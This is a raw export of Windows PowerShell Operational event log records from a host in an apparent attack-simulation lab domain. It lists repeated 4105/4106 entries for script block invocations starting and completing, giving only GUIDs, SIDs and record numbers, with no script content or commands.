Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043565
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043559
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043537
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043535
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043534
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043517
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
